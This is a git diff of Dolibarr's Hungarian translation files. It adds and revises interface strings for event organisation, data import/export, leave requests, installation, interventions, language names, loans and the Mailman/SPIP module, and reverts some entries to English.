WarningParamUploadMaxFileSizeHigherThanPostMaxSize=A PHP paraméter upload_max_filesize (%s) magasabb, mint a PHP post_max_size (%s) paramétere. Ez nem következetes beállítás. @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=Figyelem, a konfigurációs fájlt (htdocs/conf WarningsOnXLines=Figyelmeztetések %s forrásrekordon WarningNoDocumentModelActivated=Nincs modell a dokumentum generálásához aktiválva. A rendszer alapértelmezés szerint egy modellt választ, amíg nem ellenőrzi a modul beállítását. WarningLockFileDoesNotExists=Figyelem! A telepítés befejezése után le kell tiltania a telepítő/migrációs eszközöket egy install.lock fájl hozzáadásával a %s könyvtárba. A fájl létrehozásának elhagyása súlyos biztonsági kockázatot jelent. -WarningUntilDirRemoved=Minden biztonsági figyelmeztetés (csak az adminisztrátorok számára látható) aktív marad mindaddig, amíg a biztonsági rés fennáll (vagy amíg az állandó MAIN_REMOVE_INSTALL_WARNING hozzáadásra kerül a Beállítás->Egyéb menüben). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=Figyelem, a bezárás akkor is megtörténik, ha a forrás és a célelemek mennyisége eltér. Óvatosan engedélyezze ezt a funkciót. WarningUsingThisBoxSlowDown=Figyelem, ennek a doboznak a használata komolyan lelassítja az összes olyan oldalt, amelyen a doboz látható. WarningClickToDialUserSetupNotComplete=A ClickToDial információ beállítása a felhasználó számára nem fejeződött be (lásd a ClickToDial fület a felhasználói kártyán). @@ -326,6 +338,8 @@ WarningAvailableOnlyForHTTPSServers=Csak HTTPS biztonságos kapcsolat használat WarningModuleXDisabledSoYouMayMissEventHere=A %s modul nincs engedélyezve. Így sok eseményről lemaradhat itt. WarningPaypalPaymentNotCompatibleWithStrict=A 'Strict' érték miatt az online fizetési funkciók nem működnek megfelelően. Használja helyette a „Lax” szót. WarningThemeForcedTo=Figyelmeztetés, a témát a MAIN_FORCETHEME rejtett állandó az %s értékre kényszerítette +WarningPagesWillBeDeleted=Figyelmeztetés, ezzel a webhely összes meglévő oldalát/tárolóját is törli. Előtte érdemes exportálnia webhelyét, hogy legyen biztonsági másolata a későbbi újra importáláshoz. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". # Validate RequireValidValue = Az érték nem érvényes diff --git a/htdocs/langs/hu_HU/eventorganization.lang b/htdocs/langs/hu_HU/eventorganization.lang index eb253d63dc4..8970d56af6f 100644 --- a/htdocs/langs/hu_HU/eventorganization.lang +++ b/htdocs/langs/hu_HU/eventorganization.lang @@ -54,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = A résztvevő létrehozására/hozzáad # Object # EventOrganizationConfOrBooth= Konferencia vagy stand +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Egy esemény szervezésének kezelése ConferenceOrBooth = Konferencia vagy stand ConferenceOrBoothTab = Konferencia vagy stand AmountPaid = Fizetett összeg DateOfRegistration = A regisztráció dátuma ConferenceOrBoothAttendee = Konferencia vagy stand résztvevője +ApplicantOrVisitor=Jelentkező vagy látogató +Speaker=Hangszóró # # Template Mail @@ -112,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Itt szavazhat egy konferenciára, vagy javasolh EvntOrgRegistrationConfHelpMessage = Itt javasolhat egy új konferenciát, amelyet animálhat az esemény alatt. EvntOrgRegistrationBoothHelpMessage = Itt jelentkezhet, hogy standot tarthasson az esemény alatt. ListOfSuggestedConferences = A javasolt konferenciák listája -ListOfSuggestedBooths = A javasolt fülkék listája -ListOfConferencesOrBooths=A konferenciák vagy a rendezvényprojekt standjainak listája +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Új konferencia javaslata SuggestBooth = Javasolj egy fülkét ViewAndVote = A javasolt események megtekintése és szavazás PublicAttendeeSubscriptionGlobalPage = Nyilvános link az eseményre való regisztrációhoz PublicAttendeeSubscriptionPage = Nyilvános hivatkozás csak erre az eseményre való regisztrációhoz MissingOrBadSecureKey = A biztonsági kulcs érvénytelen vagy hiányzik -EvntOrgWelcomeMessage = Ez az űrlap lehetővé teszi, hogy új résztvevőként regisztráljon az eseményre: %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Ez a konferencia %s-kor kezdődik és %s-kor ér véget. ConferenceAttendeeFee = Konferencia résztvevői díja az eseményhez: '%s', %s és %s között. BoothLocationFee = A stand helye az eseményhez: '%s', %s és %s között @@ -130,7 +133,7 @@ LabelOfconference=Konferencia címke ConferenceIsNotConfirmed=A regisztráció nem érhető el, a konferencia még nincs megerősítve DateMustBeBeforeThan=az %s előtt az %s előtt kell lennie DateMustBeAfterThan=%s %s után kell lennie - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Regisztráció OrganizationEventConfRequestWasReceived=A konferenciára vonatkozó javaslatát megkaptuk OrganizationEventBoothRequestWasReceived=A standra vonatkozó kérése megérkezett @@ -139,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Az esemény regisztrációján OrganizationEventBulkMailToAttendees=Ez egy emlékeztető arról, hogy résztvevőként részt vesz az eseményen OrganizationEventBulkMailToSpeakers=Emlékeztető arra, hogy előadóként vesz részt az eseményen OrganizationEventLinkToThirdParty=Harmadik félhez (ügyfélhez, szállítóhoz vagy partnerhez) mutató hivatkozás +OrganizationEvenLabelName=A konferencia vagy stand nyilvános neve NewSuggestionOfBooth=Jelentkezés egy standra NewSuggestionOfConference=Jelentkezés egy konferenciára @@ -154,7 +158,7 @@ VoteOk = Szavazatát elfogadták. AlreadyVoted = Már szavazott erre az eseményre. VoteError = Hiba történt a szavazás során, próbálja újra. -SubscriptionOk = Regisztrációját ellenőriztük +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Egy eseményre való feliratkozás megerősítése Attendee = Résztvevő PaymentConferenceAttendee = Konferencia résztvevőinek kifizetése @@ -162,6 +166,7 @@ PaymentBoothLocation = Fizetés a fülkében DeleteConferenceOrBoothAttendee=Részvevő eltávolítása RegistrationAndPaymentWereAlreadyRecorder=A %s e-mailhez már rögzítésre került egy regisztráció és egy fizetés EmailAttendee=Részvevő e-mail +EmailCompany=Company email EmailCompanyForInvoice=Vállalati e-mail-cím (a számlához, ha eltér a résztvevő e-mail-címétől) ErrorSeveralCompaniesWithEmailContactUs=Több ilyen e-mail-címmel rendelkező céget találtunk, így nem tudjuk automatikusan ellenőrizni regisztrációját. Kérjük, vegye fel velünk a kapcsolatot a %s címen kézi ellenőrzésért ErrorSeveralCompaniesWithNameContactUs=Több ilyen nevű céget találtunk, így nem tudjuk automatikusan ellenőrizni regisztrációját. Kérjük, vegye fel velünk a kapcsolatot a %s címen kézi ellenőrzésért diff --git a/htdocs/langs/hu_HU/exports.lang b/htdocs/langs/hu_HU/exports.lang index 5515fc659aa..8ebfb79b014 100644 --- a/htdocs/langs/hu_HU/exports.lang +++ b/htdocs/langs/hu_HU/exports.lang @@ -18,6 +18,7 @@ ExportableFields=Exportálható mezők ExportedFields=Exportált mezők ImportModelName=Profilnév importálása ImportModelSaved=Importálási profil %s néven mentve. +ImportProfile=Profil importálása DatasetToExport=Exportálandó adatkészlet DatasetToImport=Fájl importálása adatkészletbe ChooseFieldsOrdersAndTitle=Mezők sorrendjének kiválasztása... @@ -53,6 +54,7 @@ TypeOfLineServiceOrProduct=A vonal típusa (0=termék, 1=szolgáltatás) FileWithDataToImport=Importálandó adatokat tartalmazó fájl FileToImport=Importálandó forrásfájl FileMustHaveOneOfFollowingFormat=Az importálandó fájlnak az alábbi formátumok valamelyikével kell rendelkeznie +DownloadEmptyExampleShort=Töltse le a mintafájlt DownloadEmptyExample=Töltse le az importálható mezőkre vonatkozó példákat és információkat tartalmazó sablonfájlt StarAreMandatory=A sablonfájlban minden *-gal jelölt mező kötelező ChooseFormatOfFileToImport=Válassza ki az importfájl formátumként használni kívánt fájlformátumot a %s ikonra kattintva annak kiválasztásához... @@ -82,7 +84,7 @@ SelectFormat=Válassza ki ezt az import fájlformátumot RunImportFile=Adatok importálása NowClickToRunTheImport=Ellenőrizze az importszimuláció eredményeit. Javítsa ki a hibákat, és tesztelje újra.
      Ha a szimuláció nem jelez hibát, folytathatja az adatok importálását az adatbázisba. DataLoadedWithId=Az importált adatokhoz minden adatbázistáblában lesz egy további mező a következő importazonosítóval: %s, hogy az importálással kapcsolatos probléma kivizsgálása esetén kereshetőek legyenek. -ErrorMissingMandatoryValue=A kötelező adatok üresek a forrásfájlban a(z) %s mezőben. +ErrorMissingMandatoryValue=A kötelező adatok üresek a forrásfájl %s oszlopában. TooMuchErrors=Még mindig %s másik forrássor van hibás, de a kimenet korlátozott. TooMuchWarnings=Még mindig %s másik forrássor van figyelmeztetéssel, de a kimenet korlátozott. EmptyLine=Üres sor (eldobásra kerül) @@ -92,9 +94,9 @@ YouCanUseImportIdToFindRecord=Az összes importált rekordot megtalálhatja az a NbOfLinesOK=A hibák és figyelmeztetések nélküli sorok száma: %s. NbOfLinesImported=A sikeresen importált sorok száma: %s. DataComeFromNoWhere=A beillesztendő érték a forrásfájl semmiből származik. -DataComeFromFileFieldNb=A beszúrandó érték a forrásfájl %s számú mezőjéből származik. -DataComeFromIdFoundFromRef=A forrásfájl %s számú mezőjéből származó érték a használandó szülőobjektum azonosítójának megkeresésére lesz használva (tehát a %s objektum, amelynek a ref. . forrásfájlból léteznie kell az adatbázisban). -DataComeFromIdFoundFromCodeId=A forrásfájl %s számú mezőjéből származó kód a használandó szülőobjektum azonosítójának megkeresésére lesz használva (tehát a forrásfájlból származó kódnak léteznie kell a %s szótárban ). Vegye figyelembe, hogy ha ismeri az azonosítót, a kód helyett a forrásfájlban is használhatja. Az importálásnak mindkét esetben működnie kell. +DataComeFromFileFieldNb=A beszúrandó érték a forrásfájl %s oszlopából származik. +DataComeFromIdFoundFromRef=The value that comes from the source file will be used to find the id of the parent object to use (so the object %s that has the ref. from source file must exist in the database). +DataComeFromIdFoundFromCodeId=The value of code that comes from source file will be used to find the id of the parent object to use (so the code from source file must exist in the dictionary %s). Note that if you know the id, you can also use it in the source file instead of the code. Import should work in both cases. DataIsInsertedInto=A forrásfájlból származó adatok a következő mezőbe kerülnek: DataIDSourceIsInsertedInto=A forrásfájlban található adatok felhasználásával talált szülőobjektum azonosítója a következő mezőbe kerül beillesztésre: DataCodeIDSourceIsInsertedInto=A kódból talált szülősor azonosítója a következő mezőbe kerül beszúrásra: @@ -132,9 +134,14 @@ FormatControlRule=Formatszabályozási szabály ## imports updates KeysToUseForUpdates=A meglévő adatok frissítéséhez használható kulcs (oszlop) NbInsert=A beszúrt sorok száma: %s +NbInsertSim=Number of lines that will be inserted: %s NbUpdate=A frissített sorok száma: %s +NbUpdateSim=Number of lines that will be updated : %s MultipleRecordFoundWithTheseFilters=Több rekordot találtunk a következő szűrőkkel: %s StocksWithBatch=A termékek készletei és helye (raktár) tétel/sorozatszámmal WarningFirstImportedLine=Az első sor(ok) nem lesznek importálva az aktuális kijelöléssel NotUsedFields=Az adatbázis nem használt mezői SelectImportFieldsSource = Válassza ki az importálni kívánt forrásfájlmezőket és azok célmezőit az adatbázisban az egyes kijelölőmezők mezőinek kiválasztásával, vagy válasszon egy előre meghatározott importálási profilt: +MandatoryTargetFieldsNotMapped=Egyes kötelező célmezők nincsenek leképezve +AllTargetMandatoryFieldsAreMapped=Az összes kötelező értéket igénylő célmező le van képezve +ResultOfSimulationNoError=A szimuláció eredménye: Nincs hiba diff --git a/htdocs/langs/hu_HU/holiday.lang b/htdocs/langs/hu_HU/holiday.lang index ff7ace94f57..432cfc2c483 100644 --- a/htdocs/langs/hu_HU/holiday.lang +++ b/htdocs/langs/hu_HU/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Szabadság +Holidays=Szabadságok +Holiday=Hagyd el CPTitreMenu=Szabadság MenuReportMonth=Havi kimutatás MenuAddCP=Új szabadságkérelem +MenuCollectiveAddCP=Új kollektív szabadságkérelem NotActiveModCP=Engedélyeznie kell az Szabadság modult az oldal megtekintéséhez. AddCP=Szabadság kérelem létrehozása DateDebCP=Kezdő dátum @@ -56,6 +58,7 @@ ConfirmDeleteCP=Megerősíti a szabadság kérelem törlését? ErrorCantDeleteCP=Hiba, hogy nincs joga törölni ezt a szabadság kérelmet. CantCreateCP=Nincs joga szabadság kérelmek benyújtására. InvalidValidatorCP=Ki kell választania szabadság kérelmének jóváhagyóját. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Ki kell választani egy kezdő dátumot. NoDateFin=Ki kell választania egy befejezési dátumot. ErrorDureeCP=A szabadság kérelme nem tartalmaz munkanapot. @@ -79,6 +82,8 @@ MotifCP=Ok UserCP=Felhasználó ErrorAddEventToUserCP=Hiba történt a kivételes szabadság hozzáadása közben. AddEventToUserOkCP=A rendkívüli szabadság hozzáadása befejeződött. +ErrorFieldRequiredUserOrGroup=A "csoport" mezőt vagy a "felhasználó" mezőt ki kell tölteni +fusionGroupsUsers=A csoportok és a felhasználói mező összevonódnak MenuLogCP=Változásnaplók megtekintése LogCP=A "Szabadság egyenleg" összes frissítésének naplója ActionByCP=Frissítette @@ -86,6 +91,13 @@ UserUpdateCP=Frissítve ehhez PrevSoldeCP=Előző egyenleg NewSoldeCP=Új egyenleg alreadyCPexist=Erre az időszakra már küldtek szabadság kérelmet. +UseralreadyCPexist=Erre az időszakra már küldtek szabadságkérést %s számára. +groups=Csoportok +users=Felhasználók +AutoSendMail=Automatikus postázás +NewHolidayForGroup=Új kollektív szabadságkérelem +SendRequestCollectiveCP=Közös szabadsági kérelem küldése +AutoValidationOnCreate=Automatikus érvényesítés FirstDayOfHoliday=A szabadság kérelmének kezdő napja LastDayOfHoliday=A szabadság kérelmének utolsó napja BoxTitleLastLeaveRequests=A legutóbbi %s módosított szabadság kérelem @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s általában NEM munkanap BlockHolidayIfNegative=Letiltás, ha az egyenleg negatív LeaveRequestCreationBlockedBecauseBalanceIsNegative=A szabadság kérelem létrehozása le van tiltva, mert az egyenlege negatív ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=A(z) %s szabadság kérelemnek tervezettnek kell lennie, törölték vagy megtagadták a törlést +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Az %s fennmaradó napjainak egyenlege nem módosult diff --git a/htdocs/langs/hu_HU/install.lang b/htdocs/langs/hu_HU/install.lang index ecc3ba04460..d20c74b3285 100644 --- a/htdocs/langs/hu_HU/install.lang +++ b/htdocs/langs/hu_HU/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=A PHP verzió túl régi. Az %s vagy újabb verzió szüks ErrorPHPVersionTooHigh=A PHP verzió túl magas. Az %s vagy régebbi verzió szükséges. ErrorConnectedButDatabaseNotFound=A kiszolgálóhoz való csatlakozás sikeres, de a '%s' adatbázis nem található. ErrorDatabaseAlreadyExists='%s' adatbázis már létezik. +ErrorNoMigrationFilesFoundForParameters=Nem található migrációs fájl a kiválasztott verziókhoz IfDatabaseNotExistsGoBackAndUncheckCreate=Ha az adatbázis nem létezik, menjen vissza és jelölje be az "Adatbázis létrehozása" opciót. IfDatabaseExistsGoBackAndCheckCreate=Ha az adatbázis már létezik, menjen vissza és ne válassza az "Adatbázis létrehozása" opciót. WarningBrowserTooOld=A böngésző verziója túl régi. Javasoljuk, hogy frissítse böngészőjét a Firefox, Chrome vagy Opera legújabb verziójára. @@ -50,7 +51,6 @@ DatabaseName=Adatbázis név DatabasePrefix=Adatbázistábla előtag DatabasePrefixDescription=Adatbázistábla előtag. Ha üres, az alapértelmezett érték llx_. AdminLogin=Felhasználói fiók a Dolibarr adatbázis-tulajdonos számára. -PasswordAgain=Írja be újra a jelszó megerősítését AdminPassword=Adatbázis tulajdonos jelszava. CreateDatabase=Adatbázis lérehozása CreateUser=Felhasználói fiók létrehozása vagy felhasználói fiók engedélyezése a Dolibarr adatbázisban @@ -88,7 +88,7 @@ LoginAlreadyExists=Már létezik DolibarrAdminLogin=Dolibarr admin bejelentkezés AdminLoginAlreadyExists=A „%s” Dolibarr rendszergazdai fiók már létezik. Menjen vissza, ha másikat szeretne létrehozni. FailedToCreateAdminLogin=Nem tudta létrehozni a Dolibarr rendszergazda fiókot. -WarningRemoveInstallDir=Figyelmeztetés, biztonsági okokból, ha a telepítés vagy frissítés befejeződött, adjon hozzá egy install.lock nevű fájlt a Dolibarr dokumentumkönyvtárába, hogy megakadályozza a telepítőeszközök véletlen/rosszindulatú használatát. újra. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Nem érhető el ebben a PHP-ben ChoosedMigrateScript=Migrációs szkript választása DataMigration=Adatbázis migráció (adatok) @@ -208,7 +208,12 @@ HideNotAvailableOptions=A nem elérhető opciók elrejtése ErrorFoundDuringMigration=Hiba(k) jelentek meg az áttelepítési folyamat során, így a következő lépés nem érhető el. A hibák figyelmen kívül hagyásához kattintson ide, de előfordulhat, hogy az alkalmazás vagy egyes szolgáltatások nem működnek megfelelően, amíg a hibákat meg nem oldják. YouTryInstallDisabledByDirLock=Az alkalmazás megpróbált önállóan frissíteni, de a telepítési/frissítési oldalakat a biztonság kedvéért letiltották (a könyvtárat .lock utótaggal nevezték át).
      YouTryInstallDisabledByFileLock=Az alkalmazás megpróbált önállóan frissíteni, de a telepítési/frissítési oldalakat a biztonság kedvéért letiltották (a dolibarr dokumentumok könyvtárában található install.lock zárolási fájl miatt).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Kattintson ide az alkalmazás megnyitásához ClickOnLinkOrRemoveManualy=Ha frissítés van folyamatban, kérjük, várjon. Ha nem, kattintson a következő linkre. Ha mindig ugyanazt az oldalt látja, el kell távolítania/át kell neveznie az install.lock fájlt a dokumentumok könyvtárában. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Töltve FunctionTest=Funkcióteszt +NodoUpgradeAfterDB=A külső modulok nem kérnek semmilyen műveletet az adatbázis frissítése után +NodoUpgradeAfterFiles=A fájlok vagy könyvtárak frissítése után külső modulok nem kérnek semmilyen műveletet +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/hu_HU/interventions.lang b/htdocs/langs/hu_HU/interventions.lang index c73ca523aa8..18d43cdf6be 100644 --- a/htdocs/langs/hu_HU/interventions.lang +++ b/htdocs/langs/hu_HU/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Elrejti az órákat és perceket a dátummezőtől InterventionStatistics=A beavatkozások statisztikái NbOfinterventions=A beavatkozási kártyák száma NumberOfInterventionsByMonth=A beavatkozási kártyák száma hónaponként (érvényesítés dátuma) -AmountOfInteventionNotIncludedByDefault=A beavatkozás összege alapértelmezés szerint nem számít bele a profitba (a legtöbb esetben munkaidő-nyilvántartást használnak az eltöltött idő számlálására). Adja hozzá a PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT opciót az 1-hez a home-setup-other részhez, hogy felvegye őket. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Beavatkozási azonosító InterRef=Beavatkozási hiv. InterDateCreation=Dátum létrehozási beavatkozás @@ -68,3 +68,5 @@ ConfirmReopenIntervention=Biztosan vissza akarja nyitni a(z) %s beavatkoz GenerateInter=Beavatkozás generálása FichinterNoContractLinked=Az %s beavatkozás csatolt szerződés nélkül jött létre. ErrorFicheinterCompanyDoesNotExist=Társaság nem létezik. Beavatkozás nem jött létre. +NextDateToIntervention=A következő beavatkozás dátumának generálása +NoIntervention=No intervention diff --git a/htdocs/langs/hu_HU/languages.lang b/htdocs/langs/hu_HU/languages.lang index f149fa1eae4..681769b2118 100644 --- a/htdocs/langs/hu_HU/languages.lang +++ b/htdocs/langs/hu_HU/languages.lang @@ -1,53 +1,60 @@ # Dolibarr language file - Source file is en_US - languages -Language_am_ET=Ethiopian +Language_am_ET=Etióp Language_ar_AR=Arab -Language_ar_DZ=Arabic (Algeria) +Language_ar_DZ=Arab (Algéria) Language_ar_EG=Arab (Egyiptom) -Language_ar_MA=Arabic (Moroco) +Language_ar_JO=arab (Jordánia) +Language_ar_MA=Arab (marokó) Language_ar_SA=Arab -Language_ar_TN=Arabic (Tunisia) -Language_ar_IQ=Arabic (Iraq) -Language_as_IN=Assamese -Language_az_AZ=Azerbaijani +Language_ar_TN=Arab (Tunézia) +Language_ar_IQ=Arab (Irak) +Language_as_IN=Asszámi +Language_az_AZ=Azerbajdzsán Language_bn_BD=Bengáli -Language_bn_IN=Bengali (India) +Language_bn_IN=Bengáli (India) Language_bg_BG=Bolgár +Language_bo_CN=Ttibeti Language_bs_BA=Bosnyák Language_ca_ES=Katalán Language_cs_CZ=Cseh +Language_cy_GB=Walesi Language_da_DA=Dán Language_da_DK=Dán Language_de_DE=Német Language_de_AT=Német (Ausztria) Language_de_CH=Német (Svájc) +Language_de_LU=German (Luxembourg) Language_el_GR=Görög Language_el_CY=Görög (Ciprus) +Language_en_AE=Angol (Egyesült Arab Emírségek) Language_en_AU=Angol (Ausztrália) Language_en_CA=Angol (Kanada) Language_en_GB=Angol (Egyesült Királyság) Language_en_IN=Angol (India) Language_en_NZ=Angol (Új Zéland) Language_en_SA=English (Szaúd-Arábia) -Language_en_SG=English (Singapore) +Language_en_SG=Angol (Szingapúr) Language_en_US=Angol (Egyesült Államok) Language_en_ZA=English (Dél-Afrika) +Language_en_ZW=English (Zimbabwe) Language_es_ES=Spanyol Language_es_AR=Spanyo (Argentina) Language_es_BO=Spanyol (Bolívia) Language_es_CL=Spanyol (Chile) Language_es_CO=Spanyol (Kolumbia) +Language_es_CR=spanyol (Costa Rica) Language_es_DO=Spanyol (Dominikai Köztársaság) Language_es_EC=Spanyol (Ecuador) -Language_es_GT=Spanish (Guatemala) +Language_es_GT=Spanyol (Guatemala) Language_es_HN=Spanyol (Honduras) Language_es_MX=Spanyol (Mexikó) Language_es_PA=Spanyol (Panama) Language_es_PY=Spanyol (Paraguay) Language_es_PE=Spanyol (Peru) Language_es_PR=Spanyol (Puerto Rico) -Language_es_US=Spanish (USA) +Language_es_US=Spanyol (USA) Language_es_UY=Spanyol (Uruguay) -Language_es_GT=Spanish (Guatemala) +Language_es_GT=Spanyol (Guatemala) Language_es_VE=Spanyol (Venezuela) Language_et_EE=Észt Language_eu_ES=Baszk @@ -56,14 +63,14 @@ Language_fi_FI=Finn Language_fr_BE=Francia (Belgium) Language_fr_CA=Francia (Kanada) Language_fr_CH=Francia (Svájc) -Language_fr_CI=French (Cost Ivory) -Language_fr_CM=French (Cameroun) +Language_fr_CI=Francia (Cost Ivory) +Language_fr_CM=Francia (Kamerun) Language_fr_FR=Francia -Language_fr_GA=French (Gabon) +Language_fr_GA=Francia (Gabon) Language_fr_NC=Francia (Új-Kaledónia) -Language_fr_SN=French (Senegal) +Language_fr_SN=Francia (Szenegál) Language_fy_NL=Fríz -Language_gl_ES=Galician +Language_gl_ES=Galíciai Language_he_IL=Héber Language_hi_IN=Hindi (India) Language_hr_HR=Horvát @@ -71,10 +78,10 @@ Language_hu_HU=Magyar Language_id_ID=Indonéz Language_is_IS=Grönlandi Language_it_IT=Olasz -Language_it_CH=Italian (Switzerland) +Language_it_CH=Olasz (Svájc) Language_ja_JP=Japán Language_ka_GE=Grúz -Language_kk_KZ=Kazakh +Language_kk_KZ=Kazah Language_km_KH=Khmer Language_kn_IN=Kanada Language_ko_KR=Koreai @@ -83,19 +90,22 @@ Language_lt_LT=Litván Language_lv_LV=Lett Language_mk_MK=Macedóniai Language_mn_MN=Mongol +Language_my_MM=Burmai Language_nb_NO=Norvég (Bokmål) -Language_ne_NP=Nepali +Language_ne_NP=Nepáli Language_nl_BE=Holland (Belgium) Language_nl_NL=Holland Language_pl_PL=Lengyel -Language_pt_AO=Portuguese (Angola) +Language_pt_AO=Portugál (Angola) +Language_pt_MZ=Portugál (Mozambik) Language_pt_BR=Portugál (Brazilia) Language_pt_PT=Portugál -Language_ro_MD=Romanian (Moldavia) +Language_ro_MD=Román (Moldávia) Language_ro_RO=Román Language_ru_RU=Orosz Language_ru_UA=Orosz (Ukrajna) -Language_tg_TJ=Tajik +Language_ta_IN=Tamil +Language_tg_TJ=Tádzsik Language_tr_TR=Török Language_sl_SI=Szlovén Language_sv_SV=Svéd @@ -103,12 +113,14 @@ Language_sv_SE=Svéd Language_sq_AL=Albán Language_sk_SK=Szlovák Language_sr_RS=Szerb +Language_sw_KE=Swahili Language_sw_SW=Kiswahili Language_th_TH=Thai Language_uk_UA=Ukrán +Language_ur_PK=Urdu Language_uz_UZ=Üzbég Language_vi_VN=Vietnami Language_zh_CN=Kínai Language_zh_TW=Kínai (hagyományos) -Language_zh_HK=Chinese (Hong Kong) +Language_zh_HK=Kínai (Hongkong) Language_bh_MY=Maláj diff --git a/htdocs/langs/hu_HU/loan.lang b/htdocs/langs/hu_HU/loan.lang index 3d5fd3e8baf..68e53505d69 100644 --- a/htdocs/langs/hu_HU/loan.lang +++ b/htdocs/langs/hu_HU/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Nem lehet ütemtervet létrehozni egy hit CantModifyInterestIfScheduleIsUsed = Nem módosíthatja az érdeklődést, ha ütemezést használ # Admin ConfigLoan=A hitel modul konfigurálása -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Alapértelmezés szerint a számviteli tőke -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Alapértelmezés szerint a számla kamatai -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Alapértelmezés szerint a könyvelési számlabiztosítás +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Pénzügyi kötelezettségvállalás szerkesztése diff --git a/htdocs/langs/hu_HU/mailmanspip.lang b/htdocs/langs/hu_HU/mailmanspip.lang index bab4b3576b4..47819584733 100644 --- a/htdocs/langs/hu_HU/mailmanspip.lang +++ b/htdocs/langs/hu_HU/mailmanspip.lang @@ -1,27 +1,27 @@ # Dolibarr language file - Source file is en_US - mailmanspip -MailmanSpipSetup=Mailman and SPIP module Setup -MailmanTitle=Mailman mailing list system -TestSubscribe=To test subscription to Mailman lists -TestUnSubscribe=To test unsubscribe from Mailman lists -MailmanCreationSuccess=Subscription test was executed successfully -MailmanDeletionSuccess=Unsubscription test was executed successfully -SynchroMailManEnabled=A Mailman update will be performed -SynchroSpipEnabled=A Spip update will be performed -DescADHERENT_MAILMAN_ADMINPW=Mailman administrator password -DescADHERENT_MAILMAN_URL=URL for Mailman subscriptions -DescADHERENT_MAILMAN_UNSUB_URL=URL for Mailman unsubscriptions -DescADHERENT_MAILMAN_LISTS=List(s) for automatic inscription of new members (separated by a comma) -SPIPTitle=SPIP Content Management System -DescADHERENT_SPIP_SERVEUR=SPIP Server -DescADHERENT_SPIP_DB=SPIP database name -DescADHERENT_SPIP_USER=SPIP database login -DescADHERENT_SPIP_PASS=SPIP database password -AddIntoSpip=Add into SPIP -AddIntoSpipConfirmation=Are you sure you want to add this member into SPIP? -AddIntoSpipError=Failed to add the user in SPIP -DeleteIntoSpip=Remove from SPIP -DeleteIntoSpipConfirmation=Are you sure you want to remove this member from SPIP? -DeleteIntoSpipError=Failed to suppress the user from SPIP -SPIPConnectionFailed=Failed to connect to SPIP -SuccessToAddToMailmanList=%s successfully added to mailman list %s or SPIP database -SuccessToRemoveToMailmanList=%s successfully removed from mailman list %s or SPIP database +MailmanSpipSetup=Mailman és SPIP modul beállítása +MailmanTitle=Mailman levelezőlista rendszer +TestSubscribe=A Mailman listákra való feliratkozás tesztelése +TestUnSubscribe=A Mailman listákról való leiratkozás tesztelése +MailmanCreationSuccess=Az előfizetési teszt sikeresen végrehajtva +MailmanDeletionSuccess=A leiratkozási teszt sikeresen végrehajtva +SynchroMailManEnabled=A Mailman frissítés végrehajtásra kerül +SynchroSpipEnabled=A SPIP frissítés végrehajtásra kerül +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman rendszergazdai jelszó +DescADHERENT_MAILMAN_URL=URL a Mailman-előfizetésekhez +DescADHERENT_MAILMAN_UNSUB_URL=URL a Mailman leiratkozásokhoz +DescADHERENT_MAILMAN_LISTS=Lista(k) az új tagok automatikus bejegyzéséhez (vesszővel elválasztva) +SPIPTitle=SPIP Tartalomkezelő rendszer +DescADHERENT_SPIP_SERVEUR=SPIP szerver +DescADHERENT_SPIP_DB=SPIP adatbázis neve +DescADHERENT_SPIP_USER=SPIP adatbázis bejelentkezés +DescADHERENT_SPIP_PASS=SPIP adatbázis jelszava +AddIntoSpip=Hozzáadás a SPIP-hez 